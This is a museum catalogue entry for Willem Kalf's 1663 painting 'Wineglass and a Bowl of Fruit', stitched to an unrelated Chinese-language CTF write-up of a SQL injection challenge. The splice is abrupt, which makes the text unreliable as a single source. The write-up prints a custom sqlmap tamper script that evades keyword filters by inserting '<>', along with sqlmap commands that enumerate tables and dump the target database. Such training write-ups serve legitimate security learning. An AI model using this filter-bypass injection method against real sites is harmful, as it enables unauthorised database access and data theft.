Title: Wineglass and a Bowl of Fruit
Creator: Willem Kalf (Dutch, 1619–1693)
Date Created: 1663
Physical Dimensions: Framed: 81 x 70.5 x 7.5 cm (31 7/8 x 27 3/4 x 2 15/16 in.); Unframed: 60.3 x 50.2 cm (23 3/4 x 19 3/4 in.)
Type: Painting
Medium: oil on canvas
Inscriptions: Signed and dated lower left: “W. KALF 1663”
Fun Fact: Willem Kalf was the most accomplished proponent of the pronkstilleven, a Dutch term meaning “ostentatious still life.”
Department: European Painting and Sculpture
Culture: Netherlands, 17th century
CTF竞赛题目类型主要包含 Web 网络攻防
、 Reverse 逆向工程
、 Pwn 二进制漏洞利用
、 Crypto 密码攻击
、 Mobile 移动安全
以及 Misc 安全杂项
这六个类别。
本文为web网络攻防方向。
赛题
初始来源
#“百度杯”CTF比赛# #九月场# #SQL#
赛题传送门
【赛题类型】—>【CTF训练】
【比赛名称】—>【全部】
【题目类型】—>【Web】
选择价值 50pt,类型为 Web,名称为【SQL】的题目:
解题过程
题目内容:
出题人就告诉你这是个注入,有种别走!
题目很嚣张,进入靶场环境后,也很直接,告诉你flag就在数据库中。习惯性打开F12,调出HackBar:
-
先一顿手工注入测试,基本上出现下面三种回显:
1)明说是注入代码
2)空白
3)有效回显
-
时间过去了一大半,终于探测出来了个大概:
- select、and、or、order等关键词会被检测直接标记inj code
- <>会被替换为空
- union联合查询输出长度为3
-
下面开始祭出sqlmap大法,当然需要会使用基本的sqlmap语法,网上教程请自行慢慢享用
另外还需要会编写sqlmap tamper的一点点知识
这里,我找了个sqlmap自带的
escapequotes.py
的过滤语法:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Slash escape single and double quotes (e.g. ' -> \') >>> tamper('1" AND SLEEP(5)#') '1\\\\" AND SLEEP(5)#' """ return payload.replace("'", "\\'").replace('"', '\\"')
然后在此基础上,修改为刚刚找出来的几个关键词过滤,保存为自己的
mytam
:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Slash escape single and double quotes (e.g. ' -> \') >>> tamper('1" AND SLEEP(5)#') '1\\\\" AND SLEEP(5)#' """ payload = payload.replace("SELECT", "SE<>LECT").replace('AND', 'AN<>D').replace("ORDER", "ORD<>ER") return payload
重点就是替换了
select
、and
、order
三个关键词 -
然后放到sqlmap里跑一跑:
sqlmap -u "http://26dd0061fbe24d5ea27afa9403e9265c78eebd7d89ec452c.changame.ichunqiu.com/index.php?id=1" --tamper=./mytam.py
因为我已经跑过一遍了,这里直接读取session拿到结果了,说明这里存在可以利用的sql漏洞
-
接下来获取数据库和表:
sqlmap -u "http://26dd0061fbe24d5ea27afa9403e9265c78eebd7d89ec452c.changame.ichunqiu.com/index.php?id=1" --tamper=./mytam.py --tables
可以发现除了系统表以外,在sqli数据库里面存在两张表:info和users,大概率就在info表里了
-
直接查info表里的所有信息:
sqlmap -u "http://26dd0061fbe24d5ea27afa9403e9265c78eebd7d89ec452c.changame.ichunqiu.com/index.php?id=1" --tamper=./mytam.py -D sqli -T info --dump
至此,得到flag。
总结
这次题目主要针对sql注入,注意点有两个:
1、手工注入测试,找到过滤规则,这也是在实战中经常会需要绕过WAF的方法,多练就是了
2、sqlmap的熟练使用,会加快渗透测试流程。前提也是需要对sqlmap有一定的熟练程度